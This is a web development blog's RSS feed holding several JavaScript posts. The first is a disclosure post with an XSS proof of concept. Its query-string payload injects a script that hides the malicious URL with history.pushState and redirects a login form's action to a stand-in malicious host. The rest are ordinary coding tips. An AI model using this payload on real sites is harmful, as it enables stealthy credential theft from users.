<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>samuli.hakoniemi.net &#187; javascript</title>
	<atom:link href="http://samuli.hakoniemi.net/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://samuli.hakoniemi.net</link>
	<description></description>
	<lastBuildDate>Thu, 20 Oct 2011 10:03:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
	<atom:link rel='hub' href='http://samuli.hakoniemi.net/?pushpress=hub'/>
		<item>
		<title>How to Conceal XSS Injection in HTML5</title>
		<link>http://samuli.hakoniemi.net/how-to-conceal-xss-injection-in-html5/</link>
		<comments>http://samuli.hakoniemi.net/how-to-conceal-xss-injection-in-html5/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 21:33:12 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[history.pushstate]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=532</guid>
		<description><![CDATA[<a href="how-to-conceal-xss-injection-in-html5/"><img src="/wp-content/images/pushstate/pushState.png" alt="" /></a>
<p>In this article I will take a quick glance on a quite peculiar method called <i>pushState()</i>. There is one security related issue I want to point out, which I'm considering rather harmful.</p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-conceal-xss-injection-in-html5%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-conceal-xss-injection-in-html5%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/pushstate/pushState.png" alt="" /></p>
<div class="ingress">
<p>I was playing around with <i>window.history</i> object. In general, it&#8217;s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.</p>
<p>In this article I will take a quick glance on a quite peculiar method called <i>pushState()</i>. There is one security related issue I want to point out, which I&#8217;m considering rather harmful.</p>
</div>
<h2>history.pushState()</h2>
<p>[tweetmeme]</p>
<p><a rel="external" href="https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history#The_pushState().c2.a0method">history.pushState()</a> was introduced in HTML5 and it&#8217;s meant for modifying history entries.</p>
<p>By using pushState() we&#8217;re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn&#8217;t it?</p>
<h2>The Harmful Part</h2>
<p>The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can&#8217;t be replaced, we can completely change the pathname.</p>
<p>So, I made a brief PoC about hiding a non-persistent XSS exploit. It&#8217;s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.</p>
<h2>Proof of Concept</h2>
<p>This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.</p>
<p>pushState() works properly also in Safari 5, but it&#8217;s security control refuses to load external scripts or execute injected scripts.</p>
<p>I&#8217;ll inject some malicious code via query parameter: <i>?username=&#8221;&gt;&lt;script&gt;(history.pushState({},&#8221;,&#8217;index.php&#8217;))(document.forms[0].action=&#8217;http://maliciousURL&#8217;)&lt;/script&gt;</i></p>
<p>As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): <a rel="external" href="http://bit.ly/pushStateXSS">http://bit.ly/pushStateXSS</a>.</p>
<p>Just visit this URL to see how pushState() behaves and what is shown in address bar.</p>
<h2>Conclusion</h2>
<p>Can this be considered as a security flaw? &#8211; Definitely yes.</p>
<p>How it should be fixed? &#8211; <del>There should be a property, eg. <i>history.allowPushState</i> which would be set to <i>false</i> by default. And website developers could explicitly set it to true while being aware of the risks.</del> <b>Edit:</b> I&#8217;ve received some feedback about this. And you&#8217;re right &#8211; this wouldn&#8217;t fix anything since it could be set to true in injection. I wasn&#8217;t thinking this thoroughly :).</p>
<p><b>Note:</b> I&#8217;m taking advantage of this technique in my <a rel="external" href="http://bit.ly/xss_1">//bit.ly/xss_1</a>, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after &#8220;?&#8221; from the URL in address bar.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/how-to-conceal-xss-injection-in-html5/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Javascript Session Variables Without Cookies</title>
		<link>http://samuli.hakoniemi.net/javascript-session-variables-without-cookies/</link>
		<comments>http://samuli.hakoniemi.net/javascript-session-variables-without-cookies/#comments</comments>
		<pubDate>Tue, 21 Dec 2010 21:37:06 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[session]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=513</guid>
		<description><![CDATA[<a href="javascript-session-variables-without-cookies/"><img src="/wp-content/images/history/SessionJS.png" alt="" /></a>

In this article I'll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.

The snippet, Session.js, works on all modern browsers that support JSON natively.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fjavascript-session-variables-without-cookies%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fjavascript-session-variables-without-cookies%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/history/SessionJS.png" alt="" /></p>
<div class="ingress">
<p>I was going to write one long blog post about advanced handling of browsing history, but then I decided to split this into two separate articles.</p>
<p>In this article I&#8217;ll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.</p>
</div>
<p>[tweetmeme]<br />
The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. <a rel="external" href="http://blogs.sitepoint.com/2009/08/19/javascript-json-serialization/">Sitepoint: Cross-browser JSON Serialization in JavaScript</a>).</p>
<p>The reason I wrote this is simple &#8211; sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don&#8217;t want to pollute cookie with (secondary) data that isn&#8217;t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data.</p>
<p>Therefore I&#8217;m using <i>window.name</i> property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.</p>
<p>There are also other implementations of the very same topic, such as <a rel="external" href="http://www.thomasfrank.se/sessionvars.html">Thomas Frank&#8217;s sessvars</a>.</p>
<p>I&#8217;ll write another post later to demonstrate this snippet in real use.</p>
<h2>Methods</h2>
<p>There are following methods:</p>
<h3>Session.setVar(string name, mixed value)</h3>
<p>This sets the variable. You can add any type of value (number, string, boolean, object).</p>
<h3>Session.getVar(string name)</h3>
<p>This returns the variable. If such variable doesn&#8217;t exist, this returns false.</p>
<h3>Session.removeVar(string name)</h3>
<p>This removes the variable. If such variable doesn&#8217;t exist, this returns false.</p>
<h3>Session.subscribe(string name, function callback)</h3>
<p>This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won&#8217;t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.</p>
<p>You can add a &#8220;namespace&#8221; for functions to distinct them for unsubscribing. This is done by adding a period on variable name: <i>Session.subscribe(&#8220;foo.alertVariable&#8221;, function() { alert(Session.getVar(&#8220;foo&#8221;); });</i>.</p>
<h3>Session.unsubscribe(string name)</h3>
<p>This simply unsubscribes certain function attached to the variable, eg <i>Session.unsubscribe(&#8220;foo.alertVariable&#8221;)</i>.</p>
<h2>Source Code</h2>
<p>You can get the source code from <a rel="external" href="http://demo.hakoniemi.net/Session.js/Session.js">here</a>.</p>
<p>There is also very small demonstration available in <a rel="external" href="http://demo.hakoniemi.net/Session.js/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/javascript-session-variables-without-cookies/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>When jQuery returns &#8220;failed&#8221; in IE &#8211; and how it&#8217;s probably resolved</title>
		<link>http://samuli.hakoniemi.net/when-jquery-returns-failed-in-ie-and-how-its-probably-resolved/</link>
		<comments>http://samuli.hakoniemi.net/when-jquery-returns-failed-in-ie-and-how-its-probably-resolved/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 22:21:16 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[failed]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[internetexplorer]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=253</guid>
		<description><![CDATA[In web development, I love facing unexpected problems I haven't seen before. It's an excellent situation to learn new things. And the moment right after I've found a solution - it's a perfect moment.

But when I can't find a solution, no matter how hard I try, and especially when I can't find anything from Google that could help me.. well, I get very frustrated.

In this brief article, I'll go through one problematic situation that really got me frustrated. Plus, this hopefully can be found via Google and therefore works as a solution to anyone who's facing a same problem.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fwhen-jquery-returns-failed-in-ie-and-how-its-probably-resolved%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fwhen-jquery-returns-failed-in-ie-and-how-its-probably-resolved%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="img_main" src="http://samuli.hakoniemi.net/wp-content/images/debugging-testing-ie/debugging-testing-ie.jpg" alt="When jQuery returns failed in IE - and how it's probably resolved" /></p>
<div class="ingress">In web development, I love facing unexpected problems I haven&#8217;t seen before. It&#8217;s an excellent situation to learn new things. And the moment right after I&#8217;ve found a solution &#8211; it&#8217;s a perfect moment.</p>
<p>But when I can&#8217;t find a solution, no matter how hard I try, and especially when I can&#8217;t find anything from Google that could help me.. well, I get very frustrated.</p>
<p>In this brief article, I&#8217;ll go through one problematic situation that really got me frustrated. Plus, this hopefully can be found via Google and therefore works as a solution to anyone who&#8217;s facing a same problem.</p></div>
<p>Last week at work, I encountered a very peculiar problem in Internet Explorer. There were several IE-related bugs reported in a certain part of the service. However, I couldn&#8217;t reproduce them and I expected these bugs had been fixed during other updates in the code..</p>
<p>..until it suddenly happened. All the tested versions of IE&#8217;s (6, 7, 8) started reporting either error &#8220;failed&#8221; or &#8220;unexpected error&#8221;, pointing to jQuery&#8217;s code. And there worst part was that error occurred occasionally, although nothing was changed.</p>
<p>In this case, there&#8217;s jQuery 1.3.2 in use. Error message didn&#8217;t help and the line it was pointing to, belonged to a internal / helper function into jQuery.</p>
<p>At first, errors disappeared after some fixes I expected to resolve the situation. But, like I mentioned earlier: these errors were occasional.</p>
<p>I didn&#8217;t have anything that could have helped me at least a little on tracking this problem (later I found not even unit tests would&#8217;ve solved this &#8211; although it&#8217;s not an argument why I didn&#8217;t have unit testing for javascript). So, my only choice was trying to isolate the problem function by function, line by line.</p>
<p>Ultimately I found that all the errors were caused by event handler bindings made with function $.fn.live(). I couldn&#8217;t blame the selectors being too unprecise, although I reduced the amount of troublemakers by fine-tuning them. In addition, I found that wrapping them in setTimeout() with small delay would have possibly fixed the problem. Also, IE6 had the most problems, while IE7 started to feel stable.</p>
<p>Most likely there was something going on with perfomance. However, after all this I wasn&#8217;t in a mood to expect these problems were completely solved. So I ended up binding event handlers with $.fn.bind() whenever something was dynamically added. It meant more lines of code, but it also meant that no errors were occurred ever again.</p>
<p>The point of this article can be put in one sentence: <b>if you receive an error with message &#8220;failed&#8221; or &#8220;unexpected error&#8221; from jQuery and this happens only in Internet Explorer, comment out every possible live() binding and try again</b>.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/when-jquery-returns-failed-in-ie-and-how-its-probably-resolved/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>10 Small Things You May Not Know About Javascript</title>
		<link>http://samuli.hakoniemi.net/10-small-things-you-may-not-know-about-javascript/</link>
		<comments>http://samuli.hakoniemi.net/10-small-things-you-may-not-know-about-javascript/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 00:02:40 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=150</guid>
		<description><![CDATA[In this article, I'll provide ten small Javascript tips, mainly aimed for beginner and intermediate Javascript developers.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2F10-small-things-you-may-not-know-about-javascript%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2F10-small-things-you-may-not-know-about-javascript%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>[tweetmeme]<br />
It doesn&#8217;t matter how many years I&#8217;ve been dealing with Javascript &#8211; it contains many little things that surprises me almost every week. For me, Javascript means a constant learning process.</p>
<p>In this article, I&#8217;ll provide ten small Javascript tips, mainly aimed for beginner and intermediate Javascript developers. Hopefully there&#8217;s at least one useful tip for every reader :).</p>
<h2>1. Variables conversions</h2>
<p>This sounds quite obvious, but as far I&#8217;ve seen, using object constructors, like <i>Array()</i> or <i>Number()</i> for converting variables is quite common practice.</p>
<p>Always use primitive data types (sometimes referred as literals) for converting variables. These won&#8217;t do any extra tricks and they usually have better performance.</p>
<pre name="code" class="javascript:nocontrols">var myVar	= "3.14159",
	str		= ""+ myVar,//	to string
	int		= ~~myVar,	//	to integer
	float	= 1*myVar,	//	to float
	bool	= !!myVar,	/*	to boolean - any string with length
							and any number except 0 are true */
	array	= [myVar];	//	to array</pre>
<p>Converting to dates (new Date(myVar)) and regular expressions (new RegExp(myVar)) must be done with constructors. However, always use <i>/pattern/flags</i> when creating regular expressions.</p>
<h2>2. Converting decimals to hex or octals and vice versa</h2>
<p>Are you writing separate functions for hex (or octal) conversios? Stop. This can be easily done with existing methods:</p>
<pre name="code" class="javascript:nocontrols">(int).toString(16);	// converts int to hex, eg 12 => "C"
(int).toString(8);	// converts int to octal, eg. 12 => "14"
parseInt(string, 16) // converts hex to int, eg. "FF" => 255
parseInt(string, 8) // converts octal to int, eg. "20" => 16</pre>
<h2>3. More playing with numbers</h2>
<p>In addition to previous section, here are some more small tricks with when dealing with numbers.</p>
<pre name="code" class="javascript:nocontrols">0xFF; // Hex declaration, returns 255
020; // Octal declaration, returns 16
1e3; // Exponential, same as 1 * Math.pow(10,3), returns 1000
(1000).toExponential(); // Opposite with previous, returns 1e3
(3.1415).toFixed(3); // Rounding the number, returns "3.142"</pre>
<h2>4. Javascript Version Detection</h2>
<p>Are you aware which version of Javascript your browser supports? If not, check <a href="http://en.wikipedia.org/wiki/JavaScript#Versions" title="Wikipedia: Javascript Versions">Javascript Versions</a> sheet from Wikipedia.</p>
<p>For some reason, features in <a href="https://developer.mozilla.org/en/New_in_JavaScript_1.7" title="MDC: New in Javascript 1.7">Javascript version 1.7</a> are not widely supported. However, most browsers released within a year support features in version 1.8 (and in 1.8.1).</p>
<p>Note: all the versions of Internet Explorer (8 and older) supports only Javascript version 1.5.</p>
<p>Here&#8217;s a tiny script both for detecting the version of Javascript via feature detection. It also allows checking support for specific version of Javascript:</p>
<pre name="code" class="javascript:nocontrols">var JS_ver	= [];

(Number.prototype.toFixed)?JS_ver.push("1.5"):false;
([].indexOf &#038;&#038; [].forEach)?JS_ver.push("1.6"):false;
((function(){try {[a,b] = [0,1];return true;}catch(ex) {return false;}})())?JS_ver.push("1.7"):false;
([].reduce &#038;&#038; [].reduceRight &#038;&#038; JSON)?JS_ver.push("1.8"):false;
("".trimLeft)?JS_ver.push("1.8.1"):false;

JS_ver.supports	= function()
{
	if (arguments[0])
		return (!!~this.join().indexOf(arguments[0] +",") +",");
	else
		return (this[this.length-1]);
}

alert("Latest Javascript version supported: "+ JS_ver.supports());
alert("Support for version 1.7 : "+ JS_ver.supports("1.7"));</pre>
<h2>5. window.name for simple session handling</h2>
<p>This one is something I really like. You can assign values as a string for <i>window.name</i> property and it preserves the values until you close the tab or window.</p>
<p>Although I&#8217;m not providing any script, I strongly suggest you to take full advantage from it. For instance, it&#8217;s very useful for toggling between debugging and (perfomance) testing modes, when building a website or an application.</p>
<h2>6. Testing existence of property</h2>
<p>This issue can be approached at least from two directions. Either we check whether property exists or we check the type of property. But always avoid these small mistakes:</p>
<pre name="code" class="javascript:nocontrols">// BAD: This will cause an error in code when foo is undefined
if (foo) {
	doSomething();
} 

// GOOD: This doesn't cause any errors. However, even when
// foo is set to NULL or false, the condition validates as true
if (typeof foo != "undefined") {
	doSomething();
}

// BETTER: This doesn't cause any errors and in addition
// values NULL or false won't validate as true
if (window.foo) {
	doSomething();
}</pre>
<p>However, there may be situations, when we have deeper structure and proper checking would look like this:</p>
<pre name="code" class="javascript:nocontrols">// UGLY: we have to proof existence of every
// object before we can be sure property actually exists
if (window.oFoo &#038;&#038; oFoo.oBar &#038;&#038; oFoo.oBar.baz) {
	doSomething();
}</pre>
<h2>7. Passing arguments for function</h2>
<p>When function has both required and optional parameters (arguments), eventually we may end up with functions and function calls looking like this:</p>
<pre name="code" class="javascript:nocontrols">function doSomething(arg0, arg1, arg2, arg3, arg4) {
...
}

doSomething('', 'foo', 5, [], false);</pre>
<p>It&#8217;s always easier to pass only one object instead of several arguments:</p>
<pre name="code" class="javascript:nocontrols">function doSomething() {
	// Leaves the function if nothing is passed
	if (!arguments[0]) {
		return false;
	}

	var oArgs	= arguments[0]
		arg0	= oArgs.arg0 || "",
		arg1	= oArgs.arg1 || "",
		arg2	= oArgs.arg2 || 0,
		arg3	= oArgs.arg3 || [],
		arg4	= oArgs.arg4 || false;
}

doSomething({
	arg1	: "foo",
	arg2	: 5,
	arg4	: false
});
</pre>
<p>This is only a rough example of passing an object as an argument. For instance, we could declare an object with name of the variable as keys and default values as properties (and/or data types).</p>
<h2>8. Using document.createDocumentFragment()</h2>
<p>You may need to dynamically append multiple elements into document. However, appending them directly into document will fire redrawing of whole view every time, which causes perfomance penalty. Instead, you should use document fragments, which are appended only once after completion:</p>
<pre name="code" class="javascript:nocontrols">function createList() {
	var aLI	= ["first item", "second item", "third item",
		"fourth item", "fith item"];

	// Creates the fragment
	var oFrag	= document.createDocumentFragment();

	while (aLI.length) {
		var oLI	= document.createElement("li");

		// Removes the first item from array and appends it
		// as a text node to LI element
		oLI.appendChild(document.createTextNode(aLI.shift()));
		oFrag.appendChild(oLI);
	}

	document.getElementById('myUL').appendChild(oFrag);
}</pre>
<h2>9. Passing a function for replace() method</h2>
<p>There are situations when you want to replace specific parts of the string with specific values. The best way of doing this would be passing a separate function for method String.replace().</p>
<p>Following example is a rough implementation of making a more verbose output from a single deal in online poker:</p>
<pre name="code" class="javascript:nocontrols">var sFlop	= "Flop: [Ah] [Ks] [7c]";
var aValues	= {"A":"Ace","K":"King",7:"Seven"};
var aSuits	= {"h":"Hearts","s":"Spades",
			"d":"Diamonds","c":"Clubs"};

sFlop	= sFlop.replace(/\[\w+\]/gi, function(match) {
	match	= match.replace(match[2], aSuits[match[2]]);
	match	= match.replace(match[1], aValues[match[1]] +" of ");

	return match;
});

// string sFlop now contains:
// "Flop: [Ace of Hearts] [King of Spades] [Seven of Clubs]"
</pre>
<h2>10. Labeling of loops (iterations)</h2>
<p>Sometimes, you may have iterations inside iterations and you may want to exit between looping. This can be done by labeling:</p>
<pre name="code" class="javascript:nocontrols">outerloop:
for (var iI=0;iI<5;iI++) {
	if (somethingIsTrue()) {
		// Breaks the outer loop iteration
		break outerloop;
	}

	innerloop:
	for (var iA=0;iA<5;iA++) {
		if (somethingElseIsTrue()) {
			// Breaks the inner loop iteration
			break innerloop;
		}

	}
}</pre>
<h2>Afterwords</h2>
<p>Go ahead and comment! Did you learn anything new? Do you have good tips to share? I'm always delighted for sharing information about all the little details in Javascript.</p>
<p>And if you want to familiarize with Javascript irregularities, I suggest you visiting at <a rel="external" href="http://wtfjs.com/" title="wtfjs">wtfjs</a> :).</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/10-small-things-you-may-not-know-about-javascript/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>jQuery 1.4 fully released</title>
		<link>http://samuli.hakoniemi.net/jquery-1-4-fully-released/</link>
		<comments>http://samuli.hakoniemi.net/jquery-1-4-fully-released/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 08:03:37 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=132</guid>
		<description><![CDATA[<a href="http://code.jquery.com/jquery-1.4.js" title="jQuery 1.4">Full version of jQuery 1.4</a> was released some time ago. Also, the final version of <a href="http://api.jquery.com/category/version/1.4/" title="jQuery 1.4 API">jQuery 1.4 API</a> is now published.

Go ahead and give it a try. And remember to keep yourself updated by the action and buzz around jQuery 1.4 by following <a href="http://jquery14.com/" title="The 14 Days of jQuery">The 14 Days of jQuery</a> event.


]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fjquery-1-4-fully-released%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fjquery-1-4-fully-released%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://code.jquery.com/jquery-1.4.js" title="jQuery 1.4">Full version of jQuery 1.4</a> (<a href="http://code.jquery.com/jquery-1.4.min.js" title="Minified version of jQuery 1.4">minified</a>) was released some time ago. Also, the final version of <a href="http://api.jquery.com/category/version/1.4/" title="jQuery 1.4 API">jQuery 1.4 API</a> is now published.</p>
<p>Go ahead and give it a try. And remember to keep yourself updated by the action and buzz around jQuery 1.4 by following <a href="http://jquery14.com/" title="The 14 Days of jQuery">The 14 Days of jQuery</a> event.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/jquery-1-4-fully-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Onload Issues with Opera</title>
		<link>http://samuli.hakoniemi.net/onload-issues-with-opera/</link>
		<comments>http://samuli.hakoniemi.net/onload-issues-with-opera/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 08:44:43 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[onload]]></category>
		<category><![CDATA[opera]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=93</guid>
		<description><![CDATA[<a href="onload-issues-with-opera/"><img src="/wp-content/images/opera/operaForBlog.png" alt="" /></a>
In this article, we will solve Opera's onload issue caused by caching, and another problem, which occurs when adding images dynamically with javascript.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fonload-issues-with-opera%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fonload-issues-with-opera%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/opera/operaForBlog.png" alt="Opera" /><br />
Today, I read about a problem with Opera&#8217;s onload event not firing when navigating with back / forward buttons. The reason for this is that Opera receives documents directly from cache. Another, similar kind issue is related to firing onload event, when adding images dynamically.</p>
<p>In this article, we will solve Opera&#8217;s onload issue caused by caching, and another problem, which occurs when adding images dynamically with javascript.</p>
<p>Currently, this is tested to work with Windows versions of Opera 10.1, 10.2 and 10.5 pre-alpha. Please, give me feedback if you find issues with other versions of Opera.</p>
<h2>How to force refreshing</h2>
<p>This isn&#8217;t complicated at all:</p>
<pre name="code" class="javascript:nocontrols">if (window.opera)
{
	opera.setOverrideHistoryNavigationMode('compatible');
	history.navigationMode = 'compatible';
}</pre>
<h2>How to solve image.onload</h2>
<p>After banging my head against wall, I found an easy solution:</p>
<pre name="code" class="javascript:nocontrols">var test = new Image();
if (test.addEventListener)
{
	test.addEventListener('load',function()
	{
		alert(this.width);
	}, false);
}

test.setAttribute('src','/images/test.gif');</pre>
<p>The key is to define <i>src</i> attribute <u>after</u> you&#8217;ve bound event listeners.</p>
<h2>Demo</h2>
<p>You can view demo at <a href="http://demo.hakoniemi.net/onloadOpera/">Demo section: Onload issues with Opera</a></p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/onload-issues-with-opera/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

